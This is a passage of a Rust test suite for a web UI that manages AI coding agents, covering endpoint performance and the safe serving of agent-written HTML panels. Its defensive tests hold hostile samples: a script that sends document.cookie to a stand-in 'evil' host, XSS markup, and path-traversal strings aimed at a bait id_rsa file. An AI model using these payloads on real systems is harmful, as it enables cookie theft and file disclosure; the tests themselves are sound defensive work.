11757    /// The same handler path without transport, so the deterministic cause
11758    /// can also be checked in environments that prohibit binding sockets.
11759    #[tokio::test]
11760    async fn list_handler_cost_without_transport() {
11761        let (_tmp, repos) = performance_repositories().await;
11762        let fx = Fixture {
11763            home: TempDir::new().unwrap(),
11764            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11765        };
11766        let ui = Arc::new(
11767            Ui::new(
11768                fx.queue(),
11769                fx.questions(),
11770                fx.talks(),
11771                fx.runs(),
11772                fx.home.path().to_path_buf(),
11773                repos[0].clone(),
11774            )
11775            .with_worktrees_root(fx.home.path().join("wt")),
11776        );
11777        let mut previous = None;
11778        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11779            seed_performance(&fx, &repos, n, runs, items);
11780            let mut costs = Vec::new();
11781            for endpoint in ["questions", "talks", "health", "stats"] {
11782                for repo in &repos {
11783                    let cache = repo.join(".git/magi/config");
11784                    if cache.exists() {
11785                        std::fs::remove_dir_all(cache).unwrap();
11786                    }
11787                }
11788                let (_, cost) = request_cost::measure(async {
11789                    match endpoint {
11790                        "questions" => {
11791                            let _ = questions_list(State(ui.clone())).await.unwrap();
11792                        }
11793                        "talks" => {
11794                            let _ = talks_list(
11795                                State(ui.clone()),
11796                                Query(ListQuery {
11797                                    limit: None,
11798                                    ids: None,
11799                                }),
11800                                header::HeaderMap::new(),
11801                            )
11802                            .await
11803                            .unwrap();
11804                        }
11805                        "health" => {
11806                            let _ = health(State(ui.clone())).await.unwrap();
11807                        }
11808                        _ => {
11809                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11810                                .await
11811                                .unwrap();
11812                        }
11813                    }
11814                })
11815                .await;
11816                eprintln!("{endpoint} handler N={n}: {cost:?}");
11817                assert_eq!(
11818                    cost.0,
11819                    if matches!(endpoint, "talks" | "health") {
11820                        0
11821                    } else {
11822                        1
11823                    },
11824                    "{endpoint}"
11825                );
11826                assert!(
11827                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11828                    "{endpoint}: {cost:?}"
11829                );
11830                costs.push(cost);
11831            }
11832            if let Some(previous) = previous {
11833                assert_eq!(costs, previous);
11834            }
11835            previous = Some(costs);
11836        }
11837    }
11838
11839    #[tokio::test]
11840    async fn list_request_cost_scopes_do_not_mix() {
11841        let (_tmp, repos, fx) = performance_fixture().await;
11842        seed_performance(&fx, &repos, 10, 0, 10);
11843        let (questions, talks, notices) = tokio::join!(
11844            fx.get("/api/questions"),
11845            fx.get("/api/talks"),
11846            fx.get("/api/notifications")
11847        );
11848        assert_eq!(request_counts(&questions).0, 1);
11849        // Cached summaries perform no config discovery or git work, even
11850        // alongside the questions request that still discovers config.
11851        assert_eq!(request_counts(&talks), (0, 0));
11852        assert_eq!(request_counts(&notices), (0, 0));
11853    }
11854
11855    #[tokio::test]
11856    async fn list_endpoints_large_home_responses() {
11857        check_large_home_endpoints(false).await;
11858    }
11859
11860    #[tokio::test]
11861    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11862    async fn list_endpoints_large_home_ceiling() {
11863        check_large_home_endpoints(true).await;
11864    }
11865
11866    async fn check_large_home_endpoints(timed: bool) {
11867        let (_tmp, repos, fx) = performance_fixture().await;
11868        seed_performance(&fx, &repos, 200, 300, 400);
11869        let mut failures = Vec::new();
11870        // app.js boot/change loads plus the initial dashboard, settings and
11871        // repo picker. SSE is a persistent stream, not a bounded GET.
11872        for path in [
11873            "/",
11874            "/app.js",
11875            "/app.css",
11876            "/api/questions",
11877            "/api/runs?limit=300",
11878            "/api/queue",
11879            "/api/talks",
11880            "/api/notifications",
11881            "/api/health",
11882            "/api/stats",
11883            "/api/loop",
11884            "/api/settings",
11885            "/api/repos",
11886        ] {
11887            let start = std::time::Instant::now();
11888            let result = if timed {
11889                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11890            } else {
11891                Ok(fx.get(path).await)
11892            };
11893            let elapsed = start.elapsed();
11894            eprintln!("{path}: {elapsed:?}");
11895            match result {
11896                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11897                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11898                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11899            }
11900        }
11901        assert!(failures.is_empty(), "{}", failures.join("\n"));
11902    }
11903
11904    struct Res {
11905        status: u16,
11906        headers: String,
11907        /// The header block with its original casing, for the assertions that
11908        /// compare a header *value* rather than looking for a name. Lowercasing
11909        /// a CSP would hide a directive spelled with a capital letter, and the
11910        /// whole point of that test is that the string is exactly right.
11911        head: String,
11912        body: String,
11913        /// The body before any UTF-8 handling, for the routes that serve
11914        /// something other than text. A panel asset is a PNG as often as not,
11915        /// and `from_utf8_lossy` would silently replace half of it.
11916        bytes: Vec<u8>,
11917    }
11918
11919    impl Res {
11920        fn json(&self) -> Value {
11921            serde_json::from_str(&self.body)
11922                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11923        }
11924
11925        /// One header's value verbatim, or `None` when it was not sent.
11926        fn header(&self, name: &str) -> Option<&str> {
11927            self.head.lines().find_map(|line| {
11928                let (key, value) = line.split_once(':')?;
11929                key.trim()
11930                    .eq_ignore_ascii_case(name)
11931                    .then(|| value.trim_start().trim_end_matches('\r'))
11932            })
11933        }
11934    }
11935
11936    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11937    /// be read to end-of-stream without parsing framing.
11938    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11939        request_with(addr, method, path, body, &[]).await
11940    }
11941
11942    /// As [`request`], with extra request headers - conditional GETs need
11943    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11944    /// worse than one that sets none.
11945    async fn request_with(
11946        addr: SocketAddr,
11947        method: &str,
11948        path: &str,
11949        body: Option<&str>,
11950        extra: &[(&str, &str)],
11951    ) -> Res {
11952        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11953        for (name, value) in extra {
11954            head.push_str(&format!("{name}: {value}\r\n"));
11955        }
11956        if let Some(body) = body {
11957            head.push_str("Content-Type: application/json\r\n");
11958            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11959        }
11960        head.push_str("\r\n");
11961        if let Some(body) = body {
11962            head.push_str(body);
11963        }
11964        let mut socket = tokio::net::TcpStream::connect(addr)
11965            .await
11966            .expect("connect to the test server");
11967        socket
11968            .write_all(head.as_bytes())
11969            .await
11970            .expect("write request");
11971        let mut raw = Vec::new();
11972        socket.read_to_end(&mut raw).await.expect("read response");
11973        // Split on the raw bytes rather than on a lossy string, so a binary
11974        // body survives to be compared byte for byte.
11975        let split = raw
11976            .windows(4)
11977            .position(|w| w == b"\r\n\r\n")
11978            .expect("a header block");
11979        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11980        let bytes = raw[split + 4..].to_vec();
11981        let status = head
11982            .lines()
11983            .next()
11984            .and_then(|line| line.split_whitespace().nth(1))
11985            .and_then(|code| code.parse().ok())
11986            .expect("a status line");
11987        Res {
11988            status,
11989            headers: head.to_lowercase(),
11990            head,
11991            body: String::from_utf8_lossy(&bytes).into_owned(),
11992            bytes,
11993        }
11994    }
11995
11996    /// A `POST` carrying a raw binary body and its own headers, for the
11997    /// attachment upload route - `request_with` only ever sends
11998    /// `Content-Type: application/json`, which is wrong for an image and
11999    /// would corrupt anything not valid UTF-8 by round-tripping it through
12000    /// `&str` first.
12001    async fn request_bytes(
12002        addr: SocketAddr,
12003        path: &str,
12004        headers: &[(&str, &str)],
12005        body: &[u8],
12006    ) -> Res {
12007        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12008        for (name, value) in headers {
12009            head.push_str(&format!("{name}: {value}\r\n"));
12010        }
12011        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12012        let mut socket = tokio::net::TcpStream::connect(addr)
12013            .await
12014            .expect("connect to the test server");
12015        socket
12016            .write_all(head.as_bytes())
12017            .await
12018            .expect("write request head");
12019        socket.write_all(body).await.expect("write request body");
12020        let mut raw = Vec::new();
12021        socket.read_to_end(&mut raw).await.expect("read response");
12022        let split = raw
12023            .windows(4)
12024            .position(|w| w == b"\r\n\r\n")
12025            .expect("a header block");
12026        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12027        let bytes = raw[split + 4..].to_vec();
12028        let status = head
12029            .lines()
12030            .next()
12031            .and_then(|line| line.split_whitespace().nth(1))
12032            .and_then(|code| code.parse().ok())
12033            .expect("a status line");
12034        Res {
12035            status,
12036            headers: head.to_lowercase(),
12037            head,
12038            body: String::from_utf8_lossy(&bytes).into_owned(),
12039            bytes,
12040        }
12041    }
12042
12043    /// A run on disk, without touching the process-global magi home.
12044    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12045        let mut state = RunState::new(
12046            PathBuf::from("/repo/magi"),
12047            "main".to_owned(),
12048            "0123456789abcdef".to_owned(),
12049            "Add a web UI\n\nMobile first.".to_owned(),
12050            Config::default(),
12051        );
12052        state.id = id.to_owned();
12053        state.status = status;
12054        let dir = runs.join(id);
12055        std::fs::create_dir_all(&dir).expect("run dir");
12056        std::fs::write(
12057            dir.join("run.json"),
12058            serde_json::to_string_pretty(&state).expect("serialize run"),
12059        )
12060        .expect("write run.json");
12061    }
12062
12063    /// Same as [`write_run`], but against a named repository rather than the
12064    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12065    /// spread across more than one.
12066    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12067        let mut state = RunState::new(
12068            PathBuf::from(repo),
12069            "main".to_owned(),
12070            "0123456789abcdef".to_owned(),
12071            "task".to_owned(),
12072            Config::default(),
12073        );
12074        state.id = id.to_owned();
12075        state.status = status;
12076        let dir = runs.join(id);
12077        std::fs::create_dir_all(&dir).expect("run dir");
12078        std::fs::write(
12079            dir.join("run.json"),
12080            serde_json::to_string_pretty(&state).expect("serialize run"),
12081        )
12082        .expect("write run.json");
12083    }
12084
12085    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12086        let body = serde_json::json!({
12087            "schema": 1,
12088            "pid": 4242,
12089            "started_at": Timestamp::now().to_string(),
12090            "updated_at": updated_at.to_string(),
12091            "idle": false,
12092            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12093            "completed": 7,
12094            "polls": 143,
12095        });
12096        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12097    }
12098
12099    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12100    ///
12101    /// No test in this file may start the real loop - see [`Ui::launch`] for
12102    /// why - so this stands in for the only thing the routes need a loop to
12103    /// do: keep running until `Stop` is set, then return. A real
12104    /// `serve_until` here would resolve its queue and its status file through
12105    /// the process-global magi home, claim whatever it found in the
12106    /// operator's live backlog, overwrite the status file of the `magi serve`
12107    /// that owns it, and spend real agent quota on a real competition.
12108    fn launch_idle(
12109        _opts: daemon::Opts,
12110        stop: daemon::Stop,
12111    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12112        Box::pin(async move {
12113            while !stop.stopped() {
12114                tokio::time::sleep(Duration::from_millis(2)).await;
12115            }
12116            Ok(())
12117        })
12118    }
12119
12120    /// A loop that fails on the way up, the way one whose home has gone
12121    /// read-only does.
12122    fn launch_broken(
12123        _opts: daemon::Opts,
12124        _stop: daemon::Stop,
12125    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12126        // The stand-in dies instantly, so a restarted one can record its own
12127        // failure before the start's response is read. The second attempt
12128        // therefore fails with a different message, to tell a stale error
12129        // from a fresh one.
12130        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12131        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12132        Box::pin(async move {
12133            Err(anyhow::anyhow!(if first {
12134                "publish the daemon status file: read-only file system"
12135            } else {
12136                "the restarted stand-in failed as well"
12137            }))
12138        })
12139    }
12140
12141    /// The loop view once `want` accepts it.
12142    ///
12143    /// Polled rather than asserted straight after the POST because stopping
12144    /// is deliberately not instant - that is the contract - and rather than
12145    /// slept through because a fixed wait is either flaky or slow.
12146    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12147    /// finite, so a genuine hang fails the test instead of hanging the
12148    /// suite.
12149    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12150        for _ in 0..SETTLE_STEPS {
12151            let view = fx.get("/api/loop").await.json();
12152            if want(&view) {
12153                return view;
12154            }
12155            tokio::time::sleep(Duration::from_millis(10)).await;
12156        }
12157        panic!(
12158            "the loop never settled: {}",
12159            fx.get("/api/loop").await.json()
12160        );
12161    }
12162
12163    /// File an open question directly in the store the server reads.
12164    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12165        let store = fx.questions();
12166        let mut q = Question::new(
12167            "20260902-000000-beef".to_owned(),
12168            "implement".to_owned(),
12169            "impl-A".to_owned(),
12170            summary.to_owned(),
12171            "because it matters".to_owned(),
12172            choices.iter().map(|c| (*c).to_owned()).collect(),
12173        );
12174        store.put(&mut q).expect("put question");
12175        q.id
12176    }
12177
12178    /// A question with a panel the server can serve, plus the named assets.
12179    ///
12180    /// Written through `Questions::put_panel` rather than by laying out the
12181    /// directory here, so these tests exercise the same on-disk shape the
12182    /// agents produce and cannot pass against a layout only the tests know.
12183    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12184        let store = fx.questions();
12185        let mut q = Question::new(
12186            "20260902-000000-beef".to_owned(),
12187            "land".to_owned(),
12188            "fix".to_owned(),
12189            "Merge this?".to_owned(),
12190            "the diff is in the panel".to_owned(),
12191            vec!["merge".to_owned(), "hold".to_owned()],
12192        );
12193        // Staged outside the questions root, because `put_panel` copies from
12194        // wherever the agent left its files.
12195        let staging = fx.home.path().join("staging");
12196        std::fs::create_dir_all(&staging).expect("staging dir");
12197        let sources: Vec<PathBuf> = assets
12198            .iter()
12199            .map(|(name, bytes)| {
12200                let path = staging.join(name);
12201                std::fs::write(&path, bytes).expect("write staged asset");
12202                path
12203            })
12204            .collect();
12205        store
12206            .put_panel(&mut q, html, &sources)
12207            .expect("write the panel");
12208        store.put(&mut q).expect("put question");
12209        q.id
12210    }
12211
12212    /// A talk on disk, without talking to a model.
12213    ///
12214    /// Written as JSON straight into the store the server reads, because the
12215    /// only constructor `talk::begin` offers takes no turn but still requires
12216    /// a real caller-visible flow. The one thing this cannot make up is the
12217    /// seat, so it is built with the real `SeatState::new` and serialized -
12218    /// the alternative, hand-writing that object, would make these tests fail
12219    /// the day the seat gains a field.
12220    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12221        seed_talk_at(&fx.talks(), id, status)
12222    }
12223
12224    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12225        std::fs::create_dir_all(store.root()).expect("talks dir");
12226        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12227            .expect("serialize a seat");
12228        let body = serde_json::json!({
12229            "schema": 1,
12230            "id": id,
12231            "repo": "/repo/magi",
12232            "agent": "mock",
12233            "status": status,
12234            "turns": [],
12235            "created_at": Timestamp::now().to_string(),
12236            "updated_at": Timestamp::now().to_string(),
12237            "seat": seat,
12238        });
12239        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12240        store.get(id).expect("the seeded talk has to be readable");
12241        id.to_owned()
12242    }
12243
12244    #[tokio::test]
12245    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12246        let fx = Fixture::start().await;
12247        let id = panel(
12248            &fx,
12249            "<h1>Merge?</h1><img src=\"diff.svg\">",
12250            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12251        );
12252
12253        for path in [
12254            format!("/api/questions/{id}/panel"),
12255            format!("/api/questions/{id}/asset/diff.svg"),
12256        ] {
12257            let res = fx.get(&path).await;
12258            assert_eq!(res.status, 200, "{path}: {}", res.body);
12259            // The whole string, not a substring. A weakened directive - an
12260            // `img-src *` that lets a panel beacon out to a remote host, a
12261            // `script-src` anything, a missing `form-action` that lets it post
12262            // the owner's decision to a third party - has to fail here, and a
12263            // `contains` assertion would let every one of those through.
12264            assert_eq!(
12265                res.header("content-security-policy"),
12266                Some(
12267                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12268                     font-src data:; base-uri 'none'; form-action 'none'; \
12269                     frame-ancestors 'self'"
12270                ),
12271                "{path} is the only thing between a hostile panel and the tailnet"
12272            );
12273            assert_eq!(
12274                res.header("x-content-type-options"),
12275                Some("nosniff"),
12276                "{path}: a browser must not re-decide the type we sent"
12277            );
12278            assert_eq!(
12279                res.header("referrer-policy"),
12280                Some("no-referrer"),
12281                "{path}: a panel must not leak the question id off the machine"
12282            );
12283
12284            // The front end mounts the frame only after a `HEAD` says the
12285            // panel is there, so `HEAD` has to answer with the same status and
12286            // the same policy as `GET` - a preflight that came back without
12287            // the CSP would mean a frame mounted on an unverified promise.
12288            let pre = fx.head(&path).await;
12289            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12290            assert_eq!(
12291                pre.header("content-security-policy"),
12292                res.header("content-security-policy"),
12293                "{path}: the preflight carries the same policy"
12294            );
12295            assert_eq!(
12296                pre.header("content-type"),
12297                res.header("content-type"),
12298                "{path}: the preflight carries the same type"
12299            );
12300        }
12301    }
12302
12303    #[tokio::test]
12304    async fn a_panel_reaches_the_browser_byte_for_byte() {
12305        let fx = Fixture::start().await;
12306        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12307        // tag, an entity, and a multi-byte character. The sandbox is what makes
12308        // this safe, so nothing here may be rewritten on the way out - a
12309        // rewritten diff is a diff the owner cannot trust.
12310        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12311        let id = panel(&fx, html, &[]);
12312
12313        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12314
12315        assert_eq!(res.status, 200);
12316        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12317        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12318        assert_eq!(
12319            res.header("content-disposition"),
12320            None,
12321            "the panel itself is rendered in the frame, not downloaded"
12322        );
12323    }
12324
12325    #[tokio::test]
12326    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12327        let fx = Fixture::start().await;
12328        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12329        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12330        let id = panel(
12331            &fx,
12332            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12333            &[("diff.svg", svg), ("shot.png", png)],
12334        );
12335
12336        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12337        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12338
12339        assert_eq!(as_svg.status, 200);
12340        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12341        // An SVG is XML that may carry script. Inside the panel it is an
12342        // `<img src>` and the script cannot run; opened at the top level it
12343        // would be a document on magi's own origin, so the browser is told to
12344        // download it instead of rendering it.
12345        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12346
12347        assert_eq!(as_png.status, 200);
12348        assert_eq!(as_png.header("content-type"), Some("image/png"));
12349        assert_eq!(
12350            as_png.header("content-disposition"),
12351            None,
12352            "a raster image has no execution surface, so tapping it still shows it"
12353        );
12354        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12355    }
12356
12357    #[tokio::test]
12358    async fn an_html_asset_is_never_served_as_html() {
12359        let fx = Fixture::start().await;
12360        let id = panel(
12361            &fx,
12362            "<p>see the notes</p>",
12363            &[
12364                (
12365                    "notes.html",
12366                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12367                ),
12368                ("hook.js", b"fetch('http://evil/')"),
12369                ("data.json", b"{}"),
12370                ("HEADLINE.TXT", b"plain"),
12371            ],
12372        );
12373
12374        for name in ["notes.html", "hook.js", "data.json"] {
12375            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12376            assert_eq!(res.status, 200, "{name}: {}", res.body);
12377            // Serving this as text/html would be a way to reach agent markup
12378            // at the top level of the operator's browser, outside the frame's
12379            // sandbox and outside its CSP - which is the whole thing the panel
12380            // design exists to prevent. Unlisted types are downloads.
12381            assert_eq!(
12382                res.header("content-type"),
12383                Some("application/octet-stream"),
12384                "{name} must not be a type the browser will execute or render"
12385            );
12386        }
12387        // The whitelist is matched case-insensitively, so an agent shouting the
12388        // extension still gets a readable file rather than a download.
12389        let txt = fx
12390            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12391            .await;
12392        assert_eq!(
12393            txt.header("content-type"),
12394            Some("text/plain; charset=utf-8")
12395        );
12396    }
12397
12398    #[tokio::test]
12399    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12400        let fx = Fixture::start().await;
12401        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12402        // Something outside the panel directory that a traversal would reach if
12403        // one got through, so a passing test is not merely "the file was
12404        // missing anyway".
12405        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12406
12407        // Decoded before this server's handler sees them: axum percent-decodes
12408        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12409        // string with a NUL in it. All three look like ordinary single-segment
12410        // filenames to the router, so the router passes them through and
12411        // `valid_asset_name` is what refuses them - for the literal `..`, and
12412        // for `/`, `\` and NUL not being in the permitted character set.
12413        for encoded in [
12414            "%2e%2e%2fid_rsa",
12415            "..%2fid_rsa",
12416            "..%5cid_rsa",
12417            "%2e%2e%5cid_rsa",
12418            "diff%00.svg",
12419            "..",
12420            ".hidden",
12421            "%2e%2e%2f%2e%2e%2fid_rsa",
12422        ] {
12423            let res = fx
12424                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12425                .await;
12426            assert_eq!(
12427                res.status, 400,
12428                "`{encoded}` has to be refused by name, not looked up: {}",
12429                res.body
12430            );
12431            assert!(res.json()["error"].is_string(), "{}", res.body);
12432        }
12433
12434        // Not decoded, and never this handler's problem: a real slash makes the
12435        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12436        // so axum's router has no route to match and answers before any code
12437        // here runs. Asserted so that a future route with a wildcard segment
12438        // cannot quietly open this door.
12439        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12440            let res = fx
12441                .get(&format!("/api/questions/{id}/asset/{literal}"))
12442                .await;
12443            assert_eq!(
12444                res.status, 404,
12445                "`{literal}` must not match the asset route at all: {}",
12446                res.body
12447            );
12448        }
12449    }
12450
12451    #[tokio::test]
12452    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12453        let fx = Fixture::start().await;
12454        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12455        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12456
12457        // A question nobody wrote a panel for. The client preflights with HEAD
12458        // and cannot see inside a sandboxed frame, so this must be a status and
12459        // not an empty page.
12460        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12461        assert_eq!(none.status, 404, "{}", none.body);
12462        assert!(none.json()["error"].is_string(), "{}", none.body);
12463        assert_eq!(
12464            fx.head(&format!("/api/questions/{plain}/panel"))
12465                .await
12466                .status,
12467            404,
12468            "the preflight is the only way the client can learn this"
12469        );
12470
12471        // A name that is perfectly legal and simply is not there.
12472        let missing = fx
12473            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12474            .await;
12475        assert_eq!(missing.status, 404, "{}", missing.body);
12476        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12477
12478        // A question that does not exist at all, on both routes.
12479        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12480        assert_eq!(
12481            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12482            404
12483        );
12484    }
12485
12486    #[tokio::test]
12487    async fn a_run_with_an_open_question_reads_as_waiting() {
12488        let fx = Fixture::start().await;
12489        let run = "20260902-000000-beef".to_owned();
12490        write_run(&fx.runs(), &run, RunStatus::Implementing);
12491
12492        let before = fx.get("/api/runs").await.json();
12493        assert_eq!(before[0]["waiting"], false, "{before}");
12494
12495        let store = fx.questions();
12496        let mut q = Question::new(
12497            run.clone(),
12498            "implement".to_owned(),
12499            "impl-A".to_owned(),
12500            "Which backend?".to_owned(),
12501            String::new(),
12502            vec!["SQLite".to_owned()],
12503        );
12504        store.put(&mut q).expect("put");
12505
12506        let during = fx.get("/api/runs").await.json();
12507        assert_eq!(during[0]["waiting"], true, "{during}");
12508
12509        // Answered: the run is moving again, and the flag has to follow without
12510        // anything having rewritten run.json.
12511        q.answer(Answer::Choice("SQLite".to_owned()))
12512            .expect("answer");
12513        store.put(&mut q).expect("put");
12514        let after = fx.get("/api/runs").await.json();
12515        assert_eq!(after[0]["waiting"], false, "{after}");
12516    }
12517
12518    #[tokio::test]
12519    async fn an_open_question_is_listed_and_counted_by_health() {
12520        let fx = Fixture::start().await;
12521        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12522
12523        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12524        let listed = fx.get("/api/questions").await.json();
12525        assert_eq!(listed.as_array().expect("array").len(), 1);
12526        assert_eq!(listed[0]["id"], id);
12527        assert_eq!(listed[0]["status"], "open");
12528        assert_eq!(listed[0]["choices"][1], "Redis");
12529        // The count is what makes the phone's indicator honest: it is the one
12530        // number meaning nothing will move until a human acts.
12531        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12532    }
12533
12534    fn obsolete_approval_state() -> RunState {
12535        let mut state = crate::land::tests::repair_state(true, true);
12536        state.pr = Some(crate::run::PrRecord {
12537            url: "https://github.com/example/repo/pull/42".into(),
12538            number: 42,
12539            state: "open".into(),
12540            checks: "green".into(),
12541            round: 1,
12542            rounds: 4,
12543            red_at_merge: Vec::new(),
12544        });
12545        state
12546    }
12547
12548    #[tokio::test]
12549    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12550        for owner in ["missing", "current", "completed", "later"] {
12551            let fx = Fixture {
12552                home: TempDir::new().unwrap(),
12553                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12554            };
12555            let mut state = obsolete_approval_state();
12556            state.status = RunStatus::Landing;
12557            state.parked = true;
12558            state.driver_exited = true;
12559            let mut q = Question::new(
12560                state.id.clone(),
12561                crate::land::APPROVAL_NODE.into(),
12562                "land".into(),
12563                "Old approval".into(),
12564                "Original evidence".into(),
12565                vec!["merge".into(), "hold".into()],
12566            );
12567            state.land_approval = Some(crate::run::LandApproval {
12568                question: q.id.clone(),
12569                head: "head".into(),
12570            });
12571            state.save_under(fx.home.path()).unwrap();
12572            let stale = state.clone();
12573            fx.questions().put(&mut q).unwrap();
12574            let mut task = Task::new(
12575                "Owner".into(),
12576                "Original instruction".into(),
12577                state.repo.clone(),
12578                Source::Human,
12579            );
12580            task.runs.push(state.id.clone());
12581            task.status = if owner == "completed" {
12582                TaskStatus::Done
12583            } else {
12584                TaskStatus::Parked
12585            };
12586            if owner == "later" {
12587                task.runs.push("later-run".into());
12588            }
12589            if owner != "missing" {
12590                fx.queue().put(&mut task).unwrap();
12591            }
12592            let ui = Arc::new(Ui::new(
12593                fx.queue(),
12594                fx.questions(),
12595                fx.talks(),
12596                fx.runs(),
12597                fx.home.path().into(),
12598                state.repo.clone(),
12599            ));
12600            let response = question_answer(
12601                State(ui),
12602                Path(q.id.clone()),
12603                Ok(Json(NewAnswer {
12604                    choice: Some(crate::merge_decision::DISMISS.into()),
12605                    text: None,
12606                    ..Default::default()
12607                })),
12608            )
12609            .await
12610            .unwrap();
12611            assert_eq!(
12612                response.0.question.resolution().as_deref(),
12613                Some(crate::merge_decision::DISMISS)
12614            );
12615            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12616            assert_eq!(disk.status, RunStatus::Superseded);
12617            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12618            assert!(!crate::merge_decision::resumable_hold(&disk));
12619            assert_eq!(
12620                serde_json::to_value(&disk.pr).unwrap(),
12621                serde_json::to_value(&stale.pr).unwrap()
12622            );
12623            assert_eq!(fx.questions().count_open(), 0);
12624            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12625            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12626            if owner == "missing" {
12627                assert!(fx.queue().list().is_empty());
12628            } else {
12629                let after = fx.queue().get(&task.id).unwrap();
12630                assert_eq!(
12631                    after.status,
12632                    if owner == "current" {
12633                        TaskStatus::Done
12634                    } else {
12635                        task.status
12636                    }
12637                );
12638                assert_eq!(after.runs, task.runs);
12639                assert_eq!(after.instruction, task.instruction);
12640                assert_eq!(after.action_applied(&q.id), owner == "current");
12641            }
12642        }
12643    }
12644
12645    #[tokio::test]
12646    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12647        let fx = Fixture::start().await;
12648        let mut state = obsolete_approval_state();
12649        state.status = RunStatus::Landing;
12650        state.parked = true;
12651        state.driver_exited = true;
12652        let mut q = Question::new(
12653            state.id.clone(),
12654            crate::land::APPROVAL_NODE.into(),
12655            "land".into(),
12656            "Superseded PR approval".into(),
12657            "Original review evidence".into(),
12658            vec!["merge".into(), "hold".into()],
12659        );
12660        state.land_approval = Some(crate::run::LandApproval {
12661            question: q.id.clone(),
